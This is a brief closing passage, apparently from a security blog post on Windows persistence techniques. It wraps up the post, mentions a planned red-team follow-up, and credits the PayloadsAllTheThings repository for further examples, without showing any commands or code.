This pretty much covers the most common techniques for persistence; however, we have only really scratched the surface on this topic.
There are many more advanced techniques that can be used for persistence and in the future I would like to create a post around a “red team approach” to persistence since all of the techniques above are quite loud.
Shoutout to PayloadsAllTheThings for their repo on Windows Persistence, which you can find here if you are interested in seeing more examples.